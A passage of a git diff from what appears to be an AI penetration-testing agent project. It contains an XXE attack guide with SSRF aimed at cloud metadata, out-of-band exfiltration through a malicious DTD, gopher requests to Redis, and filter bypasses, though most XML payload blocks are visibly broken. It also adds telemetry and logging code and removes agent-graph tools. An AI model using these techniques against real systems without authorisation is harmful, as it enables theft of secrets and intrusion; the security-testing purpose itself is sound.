`)
+ and read the DNS/HTTP hit on the interactsh stdout.
+
+### Timing
+
+- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
+
+## Core Payloads
+
+### Local File
+
+```xml
+]>
+&xxe;
+```
+
+```xml
+]>
+&xxe;
+```
+
+### SSRF
+
+```xml
+]>
+&xxe;
+```
+
+```xml
+]>
+&xxe;
+```
+
+### OOB Parameter Entity
+
+```xml
+ %dtd;]>
+```
+
+evil.dtd:
+```xml
+
+">
+%e; %exfil;
+```
+
+## Key Vulnerabilities
+
+### Parameter Entities
+
+- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
+- Works even when general entities are sanitized in the XML tree
+
+### XInclude
+
+```xml
+
+
+
+```
+
+Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
+
+### XSLT Document
+
+XSLT processors can fetch external resources via `document()`:
+
+```xml
+
+
+
+
+
+```
+
+Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
+
+### Protocol Wrappers
+
+- Java: `jar:`, `netdoc:`
+- PHP: `php://filter`, `expect://` (when module enabled)
+- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
+
+## Bypass Techniques
+
+**Encoding Variants**
+- UTF-16/UTF-7 declarations, mixed newlines
+- CDATA and comments to evade naive filters
+
+**DOCTYPE Variants**
+- PUBLIC vs SYSTEM, mixed case ``
+- Internal vs external subsets, multi-DOCTYPE edge handling
+
+**Network Controls**
+- If network blocked but filesystem readable, pivot to local file disclosure
+- If files blocked but network open, pivot to SSRF/OAST
+
+## Special Contexts
+
+### SOAP
+
+```xml
+
+
+ ]>
+ &xxe;
+
+
+```
+
+### SAML
+
+- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
+- Test ACS endpoints with minimal probes
+
+### SVG and Renderers
+
+- Inline SVG and server-side SVG→PNG/PDF renderers process XML
+- Attempt local file reads via entities/XInclude
+
+### Office Docs
+
+- OOXML (docx/xlsx/pptx) are ZIPs containing XML
+- Insert payloads into document.xml, rels, or drawing XML and repackage
+
+## Testing Methodology
+
+1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
+2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
+3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
+4. **Escalate** - Targeted file/SSRF payloads
+5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
+
+## Validation
+
+1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
+2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
+3. Confirm blind channels with OAST and correlate to the triggering request
+4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
+5. Bound impact: exact files/data reached or internal targets proven
+
+## False Positives
+
+- DOCTYPE accepted but entities not resolved and no transclusion reachable
+- Filters or sandboxes that emit entity strings literally (no IO performed)
+- Mocks/stubs that simulate success without network/file access
+- XML processed only client-side (no server parse)
+
+## Impact
+
+- Disclosure of credentials/keys/configs, code, and environment secrets
+- Access to cloud metadata/token services and internal admin panels
+- Denial of service via entity expansion or slow external resources
+- Code execution via XSLT/expect:// in insecure stacks
+
+## Pro Tips
+
+1. Prefer OAST first; it is the quietest confirmation in production-like paths
+2. When content is sanitized, use error-based and length/ETag diffs
+3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
+4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
+5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
+6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
+7. Test background processors separately; they often use different parser settings
+8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
+9. Combine with path traversal and deserialization where XML touches downstream systems
+10. Document exact parser behavior per stack; defenses must match real libraries and flags
+
+## Summary
+
+XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.
diff --git a/strix/telemetry/README.md b/strix/telemetry/README.md
new file mode 100644
index 000000000..ba9fc1efc
--- /dev/null
+++ b/strix/telemetry/README.md
@@ -0,0 +1,36 @@
+### Overview
+
+To help make Strix better for everyone, we collect anonymized data that helps us understand how to better improve our AI security agent for our users, guide the addition of new features, and fix common errors and bugs. This feedback loop is crucial for improving Strix's capabilities and user experience.
+
+We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis. Our telemetry implementation is fully transparent - you can review the [source code](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py) to see exactly what we track.
+
+### Telemetry Policy
+
+Privacy is our priority. All collected data is anonymized by default. Each session gets a random UUID that is not persisted or tied to you. Your code, scan targets, vulnerability details, and findings always remain private and are never collected.
+
+### What We Track
+
+We collect only very **basic** usage data including:
+
+**Session Errors:** Duration and error types (not messages or stack traces)\
+**System Context:** OS type, architecture, Strix version\
+**Scan Context:** Scan mode (quick/standard/deep), scan type (whitebox/blackbox)\
+**Model Usage:** Which LLM model is being used (not prompts or responses)\
+**Aggregate Metrics:** Vulnerability counts by severity
+
+### What We **Never** Collect
+
+- Usernames, or any identifying information
+- Scan targets, file paths, target URLs, or domains
+- Vulnerability details, descriptions, or code
+- LLM requests and responses
+
+### How to Opt Out
+
+Telemetry in Strix is entirely **optional**:
+
+```bash
+export STRIX_TELEMETRY=0
+```
+
+You can set this environment variable before running Strix to disable **all** telemetry.
diff --git a/strix/telemetry/__init__.py b/strix/telemetry/__init__.py
new file mode 100644
index 000000000..b9ca597ec
--- /dev/null
+++ b/strix/telemetry/__init__.py
@@ -0,0 +1,7 @@
+from . import posthog, scarf
+
+
+__all__ = [
+ "posthog",
+ "scarf",
+]
diff --git a/strix/telemetry/_common.py b/strix/telemetry/_common.py
new file mode 100644
index 000000000..ff53ceefd
--- /dev/null
+++ b/strix/telemetry/_common.py
@@ -0,0 +1,50 @@
+from __future__ import annotations
+
+import logging
+import platform
+import sys
+from importlib.metadata import PackageNotFoundError, version
+from pathlib import Path
+from typing import Any
+from uuid import uuid4
+
+
+logger = logging.getLogger(__name__)
+
+SESSION_ID: str = uuid4().hex[:16]
+
+_FIRST_RUN_CACHED: bool | None = None
+
+
+def get_version() -> str:
+ try:
+ return version("strix-agent")
+ except PackageNotFoundError:
+ logger.debug("strix-agent version lookup failed", exc_info=True)
+ return "unknown"
+
+
+def is_first_run() -> bool:
+ global _FIRST_RUN_CACHED # noqa: PLW0603
+ if _FIRST_RUN_CACHED is not None:
+ return _FIRST_RUN_CACHED
+ marker = Path.home() / ".strix" / ".seen"
+ if marker.exists():
+ _FIRST_RUN_CACHED = False
+ return False
+ try:
+ marker.parent.mkdir(parents=True, exist_ok=True)
+ marker.touch()
+ except Exception: # noqa: BLE001, S110
+ pass # nosec B110
+ _FIRST_RUN_CACHED = True
+ return True
+
+
+def base_props() -> dict[str, Any]:
+ return {
+ "os": platform.system().lower(),
+ "arch": platform.machine(),
+ "python": f"{sys.version_info.major}.{sys.version_info.minor}",
+ "strix_version": get_version(),
+ }
diff --git a/strix/telemetry/logging.py b/strix/telemetry/logging.py
new file mode 100644
index 000000000..d58d45f98
--- /dev/null
+++ b/strix/telemetry/logging.py
@@ -0,0 +1,143 @@
+"""Per-scan logging setup."""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import os
+import warnings
+from contextvars import ContextVar
+from pathlib import Path # noqa: TC003 used at runtime by ``setup_scan_logging``
+from typing import TYPE_CHECKING
+
+
+if TYPE_CHECKING:
+ from collections.abc import Callable
+
+
+_SCAN_ID: ContextVar[str | None] = ContextVar("strix_scan_id", default=None)
+_AGENT_ID: ContextVar[str | None] = ContextVar("strix_agent_id", default=None)
+
+
+def set_scan_id(scan_id: str) -> None:
+ """Set the scan_id seen on every log record from this point in the task tree."""
+ _SCAN_ID.set(scan_id)
+
+
+def set_agent_id(agent_id: str | None) -> None:
+ """Set or clear the agent_id seen on every log record from this point.
+
+ ``None`` clears (renders as ``-`` in the log line). Mutations are
+ isolated to the current asyncio task and tasks created from it after
+ the call.
+ """
+ _AGENT_ID.set(agent_id)
+
+
+class _StrixContextFilter(logging.Filter):
+ def filter(self, record: logging.LogRecord) -> bool:
+ record.scan_id = _SCAN_ID.get() or "-"
+ record.agent_id = _AGENT_ID.get() or "-"
+ return True
+
+
+_FORMAT = "%(asctime)s.%(msecs)03d %(levelname)-7s %(scan_id)s %(agent_id)s %(name)s: %(message)s"
+_DATEFMT = "%Y-%m-%d %H:%M:%S"
+
+
+# Third-party loggers that get noisy at DEBUG. Capped so the file isn't
+# drowned in their internals when STRIX_DEBUG=1.
+_NOISY_LIBS: tuple[str, ...] = (
+ "httpx",
+ "httpcore",
+ "urllib3",
+ "litellm",
+ "openai",
+ "anthropic",
+)
+
+
+_HANDLER_TAG = "_strix_scan_handler"
+
+
+# ``openai.agents`` is the openai-agents SDK's canonical logger root.
+_TRACKED_ROOTS: tuple[str, ...] = ("strix", "openai.agents")
+
+
+def configure_dependency_logging() -> None:
+ """Quiet dependency logging/warnings that obscure Strix scan logs."""
+ with contextlib.suppress(Exception):
+ import litellm
+
+ litellm_logging = litellm._logging
+ litellm_logging._disable_debugging() # type: ignore[no-untyped-call]
+
+ logging.getLogger("asyncio").setLevel(logging.CRITICAL)
+ logging.getLogger("asyncio").propagate = False
+ warnings.filterwarnings("ignore", category=RuntimeWarning, module="asyncio")
+
+
+def setup_scan_logging(run_dir: Path, *, debug: bool | None = None) -> Callable[[], None]:
+ """Attach scan-scoped handlers; return a teardown callable.
+
+ Args:
+ run_dir: Per-scan output directory. ``{run_dir}/strix.log`` is
+ created if missing and opened append-mode (so re-runs of the
+ same scan_id concatenate cleanly).
+ debug: When ``True``, stderr handler runs at DEBUG instead of
+ ERROR. ``None`` (default) reads ``STRIX_DEBUG`` env: ``1`` /
+ ``true`` / ``yes`` / ``on`` enables debug.
+
+ Returns:
+ A no-arg callable that flushes/closes/removes the handlers this
+ call attached. Idempotent — calling twice is a no-op the second
+ time. Safe to call from a ``finally`` block.
+ """
+ configure_dependency_logging()
+
+ if debug is None:
+ debug = (os.environ.get("STRIX_DEBUG") or "").strip().lower() in {
+ "1",
+ "true",
+ "yes",
+ "on",
+ }
+
+ run_dir.mkdir(parents=True, exist_ok=True)
+ log_path = run_dir / "strix.log"
+
+ formatter = logging.Formatter(_FORMAT, datefmt=_DATEFMT)
+ context_filter = _StrixContextFilter()
+
+ file_handler = logging.FileHandler(log_path, mode="a", encoding="utf-8")
+ file_handler.setLevel(logging.DEBUG)
+ file_handler.setFormatter(formatter)
+ file_handler.addFilter(context_filter)
+ setattr(file_handler, _HANDLER_TAG, True)
+
+ stream_handler = logging.StreamHandler()
+ stream_handler.setLevel(logging.DEBUG if debug else logging.ERROR)
+ stream_handler.setFormatter(formatter)
+ stream_handler.addFilter(context_filter)
+ setattr(stream_handler, _HANDLER_TAG, True)
+
+ tracked_loggers = [logging.getLogger(name) for name in _TRACKED_ROOTS]
+ for tracked in tracked_loggers:
+ tracked.setLevel(logging.DEBUG)
+ tracked.addHandler(file_handler)
+ tracked.addHandler(stream_handler)
+ tracked.propagate = False
+
+ for name in _NOISY_LIBS:
+ logging.getLogger(name).setLevel(logging.WARNING)
+
+ def _teardown() -> None:
+ for tracked in tracked_loggers:
+ for handler in list(tracked.handlers):
+ if getattr(handler, _HANDLER_TAG, False):
+ tracked.removeHandler(handler)
+ with contextlib.suppress(Exception):
+ handler.flush()
+ handler.close()
+
+ return _teardown
diff --git a/strix/telemetry/posthog.py b/strix/telemetry/posthog.py
new file mode 100644
index 000000000..d1a9b4607
--- /dev/null
+++ b/strix/telemetry/posthog.py
@@ -0,0 +1,128 @@
+import json
+import logging
+import urllib.request
+from datetime import datetime
+from typing import TYPE_CHECKING, Any
+
+from strix.config import load_settings
+from strix.telemetry._common import (
+ SESSION_ID,
+ base_props,
+ is_first_run,
+)
+
+
+if TYPE_CHECKING:
+ from strix.report.state import ReportState
+
+
+logger = logging.getLogger(__name__)
+
+_POSTHOG_PUBLIC_API_KEY = "phc_7rO3XRuNT5sgSKAl6HDIrWdSGh1COzxw0vxVIAR6vVZ"
+_POSTHOG_HOST = "https://us.i.posthog.com"
+
+
+def _is_enabled() -> bool:
+ return load_settings().telemetry.enabled
+
+
+def _send(event: str, properties: dict[str, Any]) -> None:
+ if not _is_enabled():
+ logger.debug("posthog disabled; skipping event %s", event)
+ return
+ try:
+ payload = {
+ "api_key": _POSTHOG_PUBLIC_API_KEY,
+ "event": event,
+ "distinct_id": SESSION_ID,
+ "properties": properties,
+ }
+ req = urllib.request.Request( # noqa: S310
+ f"{_POSTHOG_HOST}/capture/",
+ data=json.dumps(payload).encode(),
+ headers={"Content-Type": "application/json"},
+ )
+ with urllib.request.urlopen(req, timeout=10): # noqa: S310 # nosec B310
+ pass
+ except Exception: # noqa: BLE001
+ logger.debug("posthog send failed for event %s", event, exc_info=True)
+ else:
+ logger.debug("posthog event sent: %s", event)
+
+
+def start(
+ model: str | None,
+ scan_mode: str | None,
+ is_whitebox: bool,
+ interactive: bool,
+ has_instructions: bool,
+) -> None:
+ _send(
+ "scan_started",
+ {
+ **base_props(),
+ "model": model or "unknown",
+ "scan_mode": scan_mode or "unknown",
+ "scan_type": "whitebox" if is_whitebox else "blackbox",
+ "interactive": interactive,
+ "has_instructions": has_instructions,
+ "first_run": is_first_run(),
+ },
+ )
+
+
+def finding(severity: str) -> None:
+ _send(
+ "finding_reported",
+ {
+ **base_props(),
+ "severity": severity.lower(),
+ },
+ )
+
+
+def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
+ vulnerabilities_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
+ for v in report_state.vulnerability_reports:
+ sev = v.get("severity", "info").lower()
+ if sev in vulnerabilities_counts:
+ vulnerabilities_counts[sev] += 1
+
+ duration = 0.0
+ try:
+ start = datetime.fromisoformat(report_state.start_time.replace("Z", "+00:00"))
+ end_iso = report_state.end_time or datetime.now(start.tzinfo).isoformat()
+ duration = (datetime.fromisoformat(end_iso.replace("Z", "+00:00")) - start).total_seconds()
+ except (ValueError, TypeError, AttributeError):
+ pass
+
+ llm_props: dict[str, int | float] = {}
+ try:
+ usage = report_state.get_total_llm_usage()
+ if isinstance(usage, dict):
+ llm_props = {
+ "llm_requests": int(usage.get("requests") or 0),
+ "llm_input_tokens": int(usage.get("input_tokens") or 0),
+ "llm_output_tokens": int(usage.get("output_tokens") or 0),
+ "llm_tokens": int(usage.get("total_tokens") or 0),
+ "llm_cost": float(usage.get("cost") or 0.0),
+ }
+ except (TypeError, ValueError, AttributeError):
+ pass
+
+ _send(
+ "scan_ended",
+ {
+ **base_props(),
+ "exit_reason": exit_reason,
+ "duration_seconds": round(duration),
+ "vulnerabilities_total": len(report_state.vulnerability_reports),
+ **{f"vulnerabilities_{k}": v for k, v in vulnerabilities_counts.items()},
+ **llm_props,
+ },
+ )
+
+
+def error(error_type: str) -> None:
+ props = {**base_props(), "error_type": error_type}
+ _send("error", props)
diff --git a/strix/telemetry/scarf.py b/strix/telemetry/scarf.py
new file mode 100644
index 000000000..037494bb3
--- /dev/null
+++ b/strix/telemetry/scarf.py
@@ -0,0 +1,138 @@
+from __future__ import annotations
+
+import logging
+import urllib.parse
+import urllib.request
+from datetime import datetime
+from typing import TYPE_CHECKING, Any
+
+from strix.config import load_settings
+from strix.telemetry._common import (
+ SESSION_ID,
+ base_props,
+ get_version,
+ is_first_run,
+)
+
+
+if TYPE_CHECKING:
+ from strix.report.state import ReportState
+
+
+logger = logging.getLogger(__name__)
+
+_SCARF_ENDPOINT = "https://strix.gateway.scarf.sh"
+
+
+def _is_enabled() -> bool:
+ return load_settings().telemetry.enabled
+
+
+def _send(event: str, properties: dict[str, Any]) -> None:
+ if not _is_enabled():
+ logger.debug("scarf disabled; skipping event %s", event)
+ return
+ try:
+ props = dict(properties)
+ version = str(props.pop("strix_version", get_version()) or "unknown")
+ path = f"/{urllib.parse.quote(event, safe='')}/{urllib.parse.quote(version, safe='')}"
+ query = urllib.parse.urlencode(
+ {k: ("" if v is None else str(v)) for k, v in props.items()},
+ )
+ url = f"{_SCARF_ENDPOINT}{path}"
+ if query:
+ url = f"{url}?{query}"
+ req = urllib.request.Request(url, method="POST") # noqa: S310
+ with urllib.request.urlopen(req, timeout=10): # noqa: S310 # nosec B310
+ pass
+ except Exception: # noqa: BLE001
+ logger.debug("scarf send failed for event %s", event, exc_info=True)
+ else:
+ logger.debug("scarf event sent: %s", event)
+
+
+def start(
+ model: str | None,
+ scan_mode: str | None,
+ is_whitebox: bool,
+ interactive: bool,
+ has_instructions: bool,
+) -> None:
+ _send(
+ "scan_started",
+ {
+ **base_props(),
+ "session": SESSION_ID,
+ "model": model or "unknown",
+ "scan_mode": scan_mode or "unknown",
+ "scan_type": "whitebox" if is_whitebox else "blackbox",
+ "interactive": interactive,
+ "has_instructions": has_instructions,
+ "first_run": is_first_run(),
+ },
+ )
+
+
+def finding(severity: str) -> None:
+ _send(
+ "finding_reported",
+ {
+ **base_props(),
+ "session": SESSION_ID,
+ "severity": severity.lower(),
+ },
+ )
+
+
+def end(report_state: ReportState, exit_reason: str = "completed") -> None:
+ vulnerabilities_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
+ for v in report_state.vulnerability_reports:
+ sev = v.get("severity", "info").lower()
+ if sev in vulnerabilities_counts:
+ vulnerabilities_counts[sev] += 1
+
+ duration = 0.0
+ try:
+ scan_start = datetime.fromisoformat(report_state.start_time.replace("Z", "+00:00"))
+ end_iso = report_state.end_time or datetime.now(scan_start.tzinfo).isoformat()
+ duration = (
+ datetime.fromisoformat(end_iso.replace("Z", "+00:00")) - scan_start
+ ).total_seconds()
+ except (ValueError, TypeError, AttributeError):
+ pass
+
+ llm_props: dict[str, int | float] = {}
+ try:
+ usage = report_state.get_total_llm_usage()
+ if isinstance(usage, dict):
+ llm_props = {
+ "llm_requests": int(usage.get("requests") or 0),
+ "llm_input_tokens": int(usage.get("input_tokens") or 0),
+ "llm_output_tokens": int(usage.get("output_tokens") or 0),
+ "llm_tokens": int(usage.get("total_tokens") or 0),
+ "llm_cost": float(usage.get("cost") or 0.0),
+ }
+ except (TypeError, ValueError, AttributeError):
+ pass
+
+ _send(
+ "scan_ended",
+ {
+ **base_props(),
+ "session": SESSION_ID,
+ "exit_reason": exit_reason,
+ "duration_seconds": round(duration),
+ "vulnerabilities_total": len(report_state.vulnerability_reports),
+ **{f"vulnerabilities_{k}": v for k, v in vulnerabilities_counts.items()},
+ **llm_props,
+ },
+ )
+
+
+def error(error_type: str) -> None:
+ props: dict[str, Any] = {
+ **base_props(),
+ "session": SESSION_ID,
+ "error_type": error_type,
+ }
+ _send("error", props)
diff --git a/strix/tools/__init__.py b/strix/tools/__init__.py
index 8d5f896b4..ab4dadcf7 100644
--- a/strix/tools/__init__.py
+++ b/strix/tools/__init__.py
@@ -1,64 +1,11 @@
-import os
+"""Tool package.
-from .executor import (
- execute_tool,
- execute_tool_invocation,
- execute_tool_with_validation,
- extract_screenshot_from_result,
- process_tool_invocations,
- remove_screenshot_from_result,
- validate_tool_availability,
-)
-from .registry import (
- ImplementedInClientSideOnlyError,
- get_tool_by_name,
- get_tool_names,
- get_tools_prompt,
- needs_agent_state,
- register_tool,
- tools,
-)
+Host-side SDK function tools live in ``/tool[s].py`` and are
+imported directly by :mod:`strix.agents.factory`. The sandbox-bound
+shell + filesystem tools are emitted by the SDK's ``Shell`` and
+``Filesystem`` capabilities and bound to the live sandbox session
+per-run.
-
-SANDBOX_MODE = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
-
-HAS_PERPLEXITY_API = bool(os.getenv("PERPLEXITY_API_KEY"))
-
-if not SANDBOX_MODE:
- from .agents_graph import * # noqa: F403
- from .browser import * # noqa: F403
- from .file_edit import * # noqa: F403
- from .finish import * # noqa: F403
- from .notes import * # noqa: F403
- from .proxy import * # noqa: F403
- from .python import * # noqa: F403
- from .reporting import * # noqa: F403
- from .terminal import * # noqa: F403
- from .thinking import * # noqa: F403
-
- if HAS_PERPLEXITY_API:
- from .web_search import * # noqa: F403
-else:
- from .browser import * # noqa: F403
- from .file_edit import * # noqa: F403
- from .notes import * # noqa: F403
- from .proxy import * # noqa: F403
- from .python import * # noqa: F403
- from .terminal import * # noqa: F403
-
-__all__ = [
- "ImplementedInClientSideOnlyError",
- "execute_tool",
- "execute_tool_invocation",
- "execute_tool_with_validation",
- "extract_screenshot_from_result",
- "get_tool_by_name",
- "get_tool_names",
- "get_tools_prompt",
- "needs_agent_state",
- "process_tool_invocations",
- "register_tool",
- "remove_screenshot_from_result",
- "tools",
- "validate_tool_availability",
-]
+Import deeply so ``import strix.tools`` doesn't pull every submodule's
+deps in eagerly.
+"""
diff --git a/strix/tools/agent_browser/README.md b/strix/tools/agent_browser/README.md
new file mode 100644
index 000000000..ebdfb3a7f
--- /dev/null
+++ b/strix/tools/agent_browser/README.md
@@ -0,0 +1,12 @@
+# agent-browser
+
+Browser automation CLI installed in the sandbox image. Driven by the agent
+through `exec_command` (not a function tool).
+
+- **Implementation:** sandbox CLI at
+ `/home/pentester/.npm-global/bin/agent-browser` — npm package
+ `agent-browser@0.26.0` (Vercel), driving Chromium directly.
+- **Strix config:** `containers/Dockerfile` sets `AGENT_BROWSER_*` env
+ (executable path, UA, launch args, screenshot dir).
+- **Skill:** `strix/skills/tooling/agent_browser.md` — **always-loaded**
+ into every agent prompt by `strix/agents/prompt.py:_resolve_skills`.
diff --git a/strix/tools/agents_graph/__init__.py b/strix/tools/agents_graph/__init__.py
index d4cd095f8..e69de29bb 100644
--- a/strix/tools/agents_graph/__init__.py
+++ b/strix/tools/agents_graph/__init__.py
@@ -1,16 +0,0 @@
-from .agents_graph_actions import (
- agent_finish,
- create_agent,
- send_message_to_agent,
- view_agent_graph,
- wait_for_message,
-)
-
-
-__all__ = [
- "agent_finish",
- "create_agent",
- "send_message_to_agent",
- "view_agent_graph",
- "wait_for_message",
-]
diff --git a/strix/tools/agents_graph/agents_graph_actions.py b/strix/tools/agents_graph/agents_graph_actions.py
deleted file mode 100644
index 98485ac7e..000000000
--- a/strix/tools/agents_graph/agents_graph_actions.py
+++ /dev/null
@@ -1,610 +0,0 @@
-import threading
-from datetime import UTC, datetime
-from typing import Any, Literal
-
-from strix.tools.registry import register_tool
-
-
-_agent_graph: dict[str, Any] = {
- "nodes": {},
- "edges": [],
-}
-
-_root_agent_id: str | None = None
-
-_agent_messages: dict[str, list[dict[str, Any]]] = {}
-
-_running_agents: dict[str, threading.Thread] = {}
-
-_agent_instances: dict[str, Any] = {}
-
-_agent_states: dict[str, Any] = {}
-
-
-def _run_agent_in_thread(
- agent: Any, state: Any, inherited_messages: list[dict[str, Any]]
-) -> dict[str, Any]:
- try:
- if inherited_messages:
- state.add_message("user", "")
- for msg in inherited_messages:
- state.add_message(msg["role"], msg["content"])
- state.add_message("user", " ")
-
- parent_info = _agent_graph["nodes"].get(state.parent_id, {})
- parent_name = parent_info.get("name", "Unknown Parent")
-
- context_status = (
- "inherited conversation context from your parent for background understanding"
- if inherited_messages
- else "started with a fresh context"
- )
-
- task_xml = f"""
-
- ⚠️ You are NOT your parent agent. You are a NEW, SEPARATE sub-agent (not root).
-
- Your Info: {state.agent_name} ({state.agent_id})
- Parent Info: {parent_name} ({state.parent_id})
-
-
- {state.task}
-
-
- - You have {context_status}
- - Inherited context is for BACKGROUND ONLY - don't continue parent's work
- - Focus EXCLUSIVELY on your delegated task above
- - Work independently with your own approach
- - Use agent_finish when complete to report back to parent
- - You are a SPECIALIST for this specific task
-
- """
-
- state.add_message("user", task_xml)
-
- _agent_states[state.agent_id] = state
-
- _agent_graph["nodes"][state.agent_id]["state"] = state.model_dump()
-
- import asyncio
-
- loop = asyncio.new_event_loop()
- asyncio.set_event_loop(loop)
- try:
- result = loop.run_until_complete(agent.agent_loop(state.task))
- finally:
- loop.close()
-
- except Exception as e:
- _agent_graph["nodes"][state.agent_id]["status"] = "error"
- _agent_graph["nodes"][state.agent_id]["finished_at"] = datetime.now(UTC).isoformat()
- _agent_graph["nodes"][state.agent_id]["result"] = {"error": str(e)}
- _running_agents.pop(state.agent_id, None)
- _agent_instances.pop(state.agent_id, None)
- raise
- else:
- if state.stop_requested:
- _agent_graph["nodes"][state.agent_id]["status"] = "stopped"
- else:
- _agent_graph["nodes"][state.agent_id]["status"] = "completed"
- _agent_graph["nodes"][state.agent_id]["finished_at"] = datetime.now(UTC).isoformat()
- _agent_graph["nodes"][state.agent_id]["result"] = result
- _running_agents.pop(state.agent_id, None)
- _agent_instances.pop(state.agent_id, None)
-
- return {"result": result}
-
-
-@register_tool(sandbox_execution=False)
-def view_agent_graph(agent_state: Any) -> dict[str, Any]:
- try:
- structure_lines = ["=== AGENT GRAPH STRUCTURE ==="]
-
- def _build_tree(agent_id: str, depth: int = 0) -> None:
- node = _agent_graph["nodes"][agent_id]
- indent = " " * depth
-
- you_indicator = " ← This is you" if agent_id == agent_state.agent_id else ""
-
- structure_lines.append(f"{indent}* {node['name']} ({agent_id}){you_indicator}")
- structure_lines.append(f"{indent} Task: {node['task']}")
- structure_lines.append(f"{indent} Status: {node['status']}")
-
- children = [
- edge["to"]
- for edge in _agent_graph["edges"]
- if edge["from"] == agent_id and edge["type"] == "delegation"
- ]
-
- if children:
- structure_lines.append(f"{indent} Children:")
- for child_id in children:
- _build_tree(child_id, depth + 2)
-
- root_agent_id = _root_agent_id
- if not root_agent_id and _agent_graph["nodes"]:
- for agent_id, node in _agent_graph["nodes"].items():
- if node.get("parent_id") is None:
- root_agent_id = agent_id
- break
- if not root_agent_id:
- root_agent_id = next(iter(_agent_graph["nodes"].keys()))
-
- if root_agent_id and root_agent_id in _agent_graph["nodes"]:
- _build_tree(root_agent_id)
- else:
- structure_lines.append("No agents in the graph yet")
-
- graph_structure = "\n".join(structure_lines)
-
- total_nodes = len(_agent_graph["nodes"])
- running_count = sum(
- 1 for node in _agent_graph["nodes"].values() if node["status"] == "running"
- )
- waiting_count = sum(
- 1 for node in _agent_graph["nodes"].values() if node["status"] == "waiting"
- )
- stopping_count = sum(
- 1 for node in _agent_graph["nodes"].values() if node["status"] == "stopping"
- )
- completed_count = sum(
- 1 for node in _agent_graph["nodes"].values() if node["status"] == "completed"
- )
- stopped_count = sum(
- 1 for node in _agent_graph["nodes"].values() if node["status"] == "stopped"
- )
- failed_count = sum(
- 1 for node in _agent_graph["nodes"].values() if node["status"] in ["failed", "error"]
- )
-
- except Exception as e: # noqa: BLE001
- return {
- "error": f"Failed to view agent graph: {e}",
- "graph_structure": "Error retrieving graph structure",
- }
- else:
- return {
- "graph_structure": graph_structure,
- "summary": {
- "total_agents": total_nodes,
- "running": running_count,
- "waiting": waiting_count,
- "stopping": stopping_count,
- "completed": completed_count,
- "stopped": stopped_count,
- "failed": failed_count,
- },
- }
-
-
-@register_tool(sandbox_execution=False)
-def create_agent(
- agent_state: Any,
- task: str,
- name: str,
- inherit_context: bool = True,
- prompt_modules: str | None = None,
-) -> dict[str, Any]:
- try:
- parent_id = agent_state.agent_id
-
- module_list = []
- if prompt_modules:
- module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()]
-
- if "root_agent" in module_list:
- return {
- "success": False,
- "error": (
- "The 'root_agent' module is reserved for the main agent "
- "and cannot be used by sub-agents"
- ),
- "agent_id": None,
- }
-
- if len(module_list) > 3:
- return {
- "success": False,
- "error": (
- "Cannot specify more than 3 prompt modules for an agent "
- "(use comma-separated format)"
- ),
- "agent_id": None,
- }
-
- if module_list:
- from strix.prompts import get_all_module_names, validate_module_names
-
- validation = validate_module_names(module_list)
- if validation["invalid"]:
- available_modules = list(get_all_module_names())
- return {
- "success": False,
- "error": (
- f"Invalid prompt modules: {validation['invalid']}. "
- f"Available modules: {', '.join(available_modules)}"
- ),
- "agent_id": None,
- }
-
- from strix.agents import StrixAgent
- from strix.agents.state import AgentState
- from strix.llm.config import LLMConfig
-
- state = AgentState(task=task, agent_name=name, parent_id=parent_id, max_iterations=200)
-
- llm_config = LLMConfig(prompt_modules=module_list)
- agent = StrixAgent(
- {
- "llm_config": llm_config,
- "state": state,
- }
- )
-
- inherited_messages = []
- if inherit_context:
- inherited_messages = agent_state.get_conversation_history()
-
- _agent_instances[state.agent_id] = agent
-
- thread = threading.Thread(
- target=_run_agent_in_thread,
- args=(agent, state, inherited_messages),
- daemon=True,
- name=f"Agent-{name}-{state.agent_id}",
- )
- thread.start()
- _running_agents[state.agent_id] = thread
-
- except Exception as e: # noqa: BLE001
- return {"success": False, "error": f"Failed to create agent: {e}", "agent_id": None}
- else:
- return {
- "success": True,
- "agent_id": state.agent_id,
- "message": f"Agent '{name}' created and started asynchronously",
- "agent_info": {
- "id": state.agent_id,
- "name": name,
- "status": "running",
- "parent_id": parent_id,
- },
- }
-
-
-@register_tool(sandbox_execution=False)
-def send_message_to_agent(
- agent_state: Any,
- target_agent_id: str,
- message: str,
- message_type: Literal["query", "instruction", "information"] = "information",
- priority: Literal["low", "normal", "high", "urgent"] = "normal",
-) -> dict[str, Any]:
- try:
- if target_agent_id not in _agent_graph["nodes"]:
- return {
- "success": False,
- "error": f"Target agent '{target_agent_id}' not found in graph",
- "message_id": None,
- }
-
- sender_id = agent_state.agent_id
-
- from uuid import uuid4
-
- message_id = f"msg_{uuid4().hex[:8]}"
- message_data = {
- "id": message_id,
- "from": sender_id,
- "to": target_agent_id,
- "content": message,
- "message_type": message_type,
- "priority": priority,
- "timestamp": datetime.now(UTC).isoformat(),
- "delivered": False,
- "read": False,
- }
-
- if target_agent_id not in _agent_messages:
- _agent_messages[target_agent_id] = []
-
